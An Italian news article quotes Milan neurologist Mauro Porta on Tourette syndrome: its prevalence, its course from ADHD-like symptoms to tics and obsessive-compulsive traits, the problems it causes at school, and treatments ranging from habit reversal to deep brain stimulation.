La sindrome di Tourette, la malattia dei mille tic, “non è rara ma frequente. Nella popolazione generale si stima una prevalenza fino all’1%. Sono casi con varia gravità e di questi circa 70-100 mila hanno problemi che si possono definire significativi. La malattia di per sé tocca soprattutto gli adolescenti, poi si può sperare in miglioramento spontaneo. Ed è importante che questi ragazzi vadano sostenuti, in particolare fra i banchi di scuola, per non disperdere un patrimonio importante”. E’ il messaggio lanciato da Mauro Porta, responsabile del Centro malattie extrapiramidali e sindrome di Tourette dell’Irccs Galeazzi di Milano.

L’esperto mette l’accento sulla necessità di affrontare “il problema dell’individual impairment, del disagio familiare e sociale e delle difficoltà scolastiche”, vissute dai ragazzi che convivono con la sindrome. Su questi specifici aspetti serve un maggiore impegno, evidenzia Porta. “In questi giorni, per esempio, la Regione Lombardia ha voluto convocare circa 300 persone a congresso per discutere proprio di questi temi. I docenti – osserva lo specialista – non sanno nulla della sindrome che spesso comincia come Adhd, con un deficit di attenzione e irrequietezza motoria per poi spostarsi verso la comparsa di tic sonori e motori e per andare incontro successivamente a un’evoluzione verso stati ossessivo-compulsivi, tic ideici che tormentano il soggetto e talvolta compaiono anche in giovane età. E ancora si registrano influssi di rabbia, comportamenti trasgressivi e talvolta aggressivi, atteggiamenti di sfida, in alcuni casi con spinte autolesive”.

“Purtroppo in Italia – continua Porta – non si è data la giusta attenzione a livello medico alla patologia e di rimando gli educatori soffrono molto della disinformazione. Si trovano davanti a situazioni di ragazzi che esplodono in parolacce, sono distratti, disturbano e talvolta li gestiscono come se fossero disabili con un handicap. Di fatto, però, si è visto che in certi sottotipi di sindrome ci troviamo davanti a ragazzi con grandi capacità creative, attività positive nel fare, pensare, costruire. Insomma un patrimonio che andrebbe incanalato perché non vada perduto”. 

La Lombardia, spiega Porta, “si è dichiarata disponibile ad aiutare, affinché questi ragazzi vengano ottimizzati nel periodo di formazione scolastica e avviati al lavoro, inseriti come persone le cui capacità possono essere sfruttate al meglio. La disinformazione medica fa sì che molti pazienti non vengano ancora curati adeguatamente. Molti insegnanti, poi, di fronte a questi casi si dichiarano inermi”.

Sul fronte della ricerca “sono pochi i centri specializzati e quindi anche gli studi. Io mi trovo in un centro Tourette al Galeazzi che ha l’opportunità preziosa di fare uno screening dei pazienti dai 4 anni all’età adulta. E’ così possibile vedere l’evoluzione della sindrome che nell’adulto diventa poco ticcosa e più ossessivo-compulsiva. C’è una minoranza in cui la gravità produce danni enormi al soggetto e alla società. Persone che si trovano a gridare, ad avere comportamenti aggressivi in luoghi pubblici, a dire oscenità, agitarsi, così da finire trattati come pazienti psichiatrici, quando questa è una malattia del neurosviluppo: nello sviluppo cerebrale ci sono zoppicamenti per cui il soggetto che dovrebbe imparare a controllare gli impulsi non lo fa”.

Diverse le strategie seguite dagli specialisti per trattare le persone con Tourette. “Le terapie psicologiche risultano poco efficaci, l’unica è la cosiddetta ‘Habit reversal’, attraverso cui il paziente impara strategie di evitamento dei tic e di controllo. Quando non funziona più occorre passare ai farmaci. Solo in casi eccezionali si fanno interventi di stimolazione cerebrale profonda e al Galeazzi abbiamo su questo la più grossa casistica. Ne abbiamo fatte più di 60. Sono procedure eccezionali ma talvolta necessarie e il 9 maggio prossimo ne parlerò a New York. E’ una stimolazione simile a quella che si usa per il Parkinson, ma cambia il target. Per certi pazienti è un paracadute da considerare”. 

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